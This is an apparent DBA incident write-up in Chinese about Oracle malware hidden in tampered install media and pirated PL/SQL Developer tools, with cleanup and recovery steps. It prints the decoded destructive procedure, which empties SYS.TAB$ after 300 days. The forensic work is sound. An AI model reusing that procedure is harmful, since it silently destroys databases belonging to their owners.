恶意程序造成数据库启动报错

数据库启动报错

SQL> startup ORACLE instance started.

Total System Global Area 1068937216 bytes Fixed Size    2260088 bytes Variable Size  884999048 bytes Database Buffers  176160768 bytes Redo Buffers    5517312 bytes Database mounted. ORA-01092: ORACLE instance terminated. Disconnection forced ORA-00704: bootstrap process failure ORA-00704: bootstrap process failure ORA-00600: internal error code, arguments: [16703], [1403], [20], [], [], [], [], [], [], [], [], [] Process ID: 22618 Session ID: 1705 Serial number: 5

查询数据库是否有恶意程序并生成drop语句

查询数据库是否有恶意程序并生成drop语句

SELECT 'DROP TRIGGER '||OWNER||'."'||TRIGGER_NAME||'";' FROM DBA_TRIGGERS WHERE TRIGGER_NAME LIKE  'DBMS_%_INTERNAL%'
UNION ALL
SELECT 'DROP PROCEDURE '||OWNER||'."'||A.OBJECT_NAME||'";' FROM DBA_PROCEDURES A WHERE A.OBJECT_NAME LIKE 'DBMS_%_INTERNAL% '
UNION ALL
SELECT 'DROP PROCEDURE '||OWNER||'."'||OBJECT_NAME||'";' FROM DBA_OBJECTS WHERE OBJECT_NAME ='DBMS_SUPPORT_DBMONITORP'
UNION ALL
SELECT 'DROP TRIGGER '||OWNER||'."'||TRIGGER_NAME||'";' FROM DBA_TRIGGERS WHERE TRIGGER_NAME ='DBMS_SUPPORT_DBMONITOR'
;
查看查询数据库是否有脚本(必须使用sys删除)
SELECT owner,created,object_name,object_type FROM dba_objects WHERE object_name LIKE '%DBMS_SUPPORT%';
SQL> drop trigger DBMS_SUPPORT_DBMONITOR;
SQL> drop procedure DBMS_SUPPORT_DBMONITORP;

检查/u01/app/oracle/product/11.2.0/rdbms/admin/prvtsupp.plb文件中是否有存储过程和触发器并将其删除(可以后删)

查看dba中得对象包括触发器和存储过程等

SELECT owner,created,object_name,object_type FROM dba_objects WHERE object_name LIKE '%DBMS_SUPPORT%';


使用被篡改的安装介质安装数据库后,会在数据库内创建一个名为DBMS_SUPPORT_DBMONITORP的存储过程和名为DBMS_SUPPORT_DBMONITOR的触发器

通过sqlplus / as sysdba中查看该存储

SQL> select text from user_source where name='DBMS_SUPPORT_DBMONITORP' order by line;


TEXT
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
procedure DBMS_SUPPORT_DBMONITORP wrapped
a000000
369
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
7
166 17d
L+Q5S7kOFTBh3pJuFhl03zpaj2EwgzKur9zWZ47SR+pHN0Y8ER0IGya9iryn8BXxVZV99MqT
jPeDOVN1pQjRL9BBh4vtWEKCY/FfMGPnetcyOwrCiZd3y4XmBCby580I22k2zARou4x8Mwl7
GOEcpi6u23Rf2JOnTfA/PYL+pz7A1gvabRQrczX6dnK8HaHsERgX7VdwA3EsM784UwL6ESro
H+CNqON6SdF2HTUFBcmgBBPE/+blRgHQryEpxT3JOnEs1a8gUbjaLq+Xq9Eu9n/kdIwA+9ep
r59hpFLw/vnP7Cjaxk7WbJ6/XGj9F6DH+3MBxpFBmba1tk0pYAW1McQsYXNFbiSdxj1KnrmD
lUETCD2WIxfg3w==

使用wraped加密的程序进行解密
PROCEDURE DBMS_SUPPORT_DBMONITORP IS
DATE1 INT :=10;
BEGIN
  SELECT TO_CHAR(SYSDATE-CREATED ) INTO DATE1 FROM V$DATABASE;
  IF (DATE1>=300) THEN
  EXECUTE IMMEDIATE 'create table ORACHK'||SUBSTR(SYS_GUID,10)||' tablespace system  as select * from sys.tab$';
  DELETE SYS.TAB$;
  COMMIT;
  EXECUTE IMMEDIATE 'alter system checkpoint';
  END IF;
END;

这个orachk的表是用来备份tab$的,然后进一步发现有delete from tab$.至此基本上分析清楚,tab$表备份到ORACHK表中,然后delete tab$表数据.实现数据库破坏以及难以恢复的效果

这里可以明确的看到DBMS_SUPPORT_DBMONITORP存储过程备份tab$表到orachk中然后delete tab$表,现在已经明确是由于DBMS_SUPPORT_DBMONITOR触发器在数据库重启之后开始执行调用DBMS_SUPPORT_DBMONITORP程序,如果判断数据库创建时间大于等于300天,便干掉tab$表,实现数据库破坏.

异常处理

1、第一次处理过程

(1)、启动数据库到mount状态:startup mount
(2)、使用之前的数据库备份进行恢复
(3)、open数据库:alter database open resetlogs
结果:打开失败,继续报错ORA-00600
原因:备份中包含了DBMS_SUPPORT_DBMONITOR和DBMS_SUPPORT_DBMONITORP,open数据库时会被触发
2、第二次处理过程

(1)、启动数据库到mount状态:startup mount
(2)、使用之前的数据库备份进行恢复
(3)、将所有触发器禁用:alter system set “_system_trig_enabled”=false
(4)、打开数据库:alter database open resetlogs,成功open
(5)、删除恶意的触发器和存储过程:

SELECT owner,created,object_name,object_type FROM dba_objects WHERE object_name LIKE '%DBMS_SUPPORT%';

SQL> drop trigger DBMS_SUPPORT_DBMONITOR;**

**SQL> drop procedure DBMS_SUPPORT_DBMONITORP;

(6)、检查/u01/app/oracle/product/11.2.0/rdbms/admin/prvtsupp.plb文件中是否有存储过程和触发器并将其删除(可以后删)    

(7)、重启数据库:shutdown immediate、startup
经过上述操作,数据库可以正常关闭、启动,再次查询,恶意的存储过程和触发器已被删除

排查篡改得程序

1.通过检查存储过程和触发器时间来排查是建库时创建还是通过plsql等工具连接数据库时导致该问题得。

select * from sys.obj$ where name in('DBMS_SUPPORT_DBMONITORP','DBMS_SUPPORT_DBMONITOR');
查看创建时间和创建数据库等时间是否一致
如果恶意程序来源于安装介质,则进行下一步分析来源

分析DBMS_SUPPORT_DBMONITOR来源

搜索包含该触发器得文件,搜索DBMS_SUPPORT_DBMONITOR出现该触发器和存储过程包含得文件

grep -r 'DBMS_SUPPORT_DBMONITOR' /u01/app/oracle/product/11.2.0/rdbms/admin/*


/u01/app/oracle/product/11.2.0/rdbms/admin/prvtsupp.plb:create or replace procedure DBMS_SUPPORT_DBMONITORP wrapped
/u01/app/oracle/product/11.2.0/rdbms/admin/prvtsupp.plb:PROMPT Create DBMS_SUPPORT_DBMONITOR TRIGGER
/u01/app/oracle/product/11.2.0/rdbms/admin/prvtsupp.plb:create or replace trigger DBMS_SUPPORT_DBMONITOR
/u01/app/oracle/product/11.2.0/rdbms/admin/prvtsupp.plb:   DBMS_SUPPORT_DBMONITORP;
这里已经很清晰,由于prvtsupp.plb被人注入了恶意脚本从而使得数据库被创建了DBMS_SUPPORT_DBMONITOR的触发器和DBMS_SUPPORT_DBMONITORP的存储过程,从而实现了对数据库的而易破坏.

(可选)进一步确认破坏文件prvtsupp.plb是否来源于安装介质
通过对比安装介质和官方版本文件的md5值,通过md5来对比文件一致性确定是否来自于安装文件

检查是否由于PL/SQL Developer等工具注入

盗版或绿色破解版PL/SQL Developer

使用盗版或绿色破解版PL/SQL Developer工具或其他破解版工具连接数据库,可能会导致恶意代码植入破坏数据库。

Oracle PL/SQL Dev软件中,里面的一个文件Afterconnet.sql
例如:
D:\cjc\plsql\PLSQL Developer 8.0.3.1510\AfterConnect.sql

其中afterconnect.sql的大小应该是0字节,
login.sql打开后只有一句注释“- -Autostart Command Window script ”,如果这两个文件里有其他内容,应怀疑是病毒

注入说明

注入方式
 从网上下载感染病毒的介质,在数据库实例创建时SQL 注入脚本被执行并创建了相应的触发器和加密存储过程。这种注入方式由于在数据库实例创建时用SYS 账号运行了被感染的脚本文件因此不需要依赖数据库中的DBA 权限的用户。这种注入方式通过在$ORACLE_HOME/rdbms/admin 下的prvtsupp.plb 文件中添加一个加密的过程和一个触发器的创建脚本,在用户创建实例时会执行prvtsupp.plb 该文件从而达到入侵的目的。
另外一种注入方式就是网上下载了被病毒感染的PL/SQL 或Toad 客户端工具,如果用户登陆这些工具时使用具有dba 权限的用户,则工具会在后台执行执行相应的病毒脚本并创建上面的过程和触发器。
注入行为
 该触发器在每次数据库重启后执行存储过程,而存储过程执行时会判断当前时间距数据库创建时间是否大于指定的天数 ( 我这次遇到的是300 天) ,如果大于指定的天数则在数据库重启后将数据库字典基表TAB$ 备份后并清空。
在TAB$ 表被清空后如果数据库不再重启的话,数据库后台alert 日志在报一系列ORA-00600 后会一直会报错ORA-00604 和ORA-00957


`



请使用浏览器的分享功能分享到微信等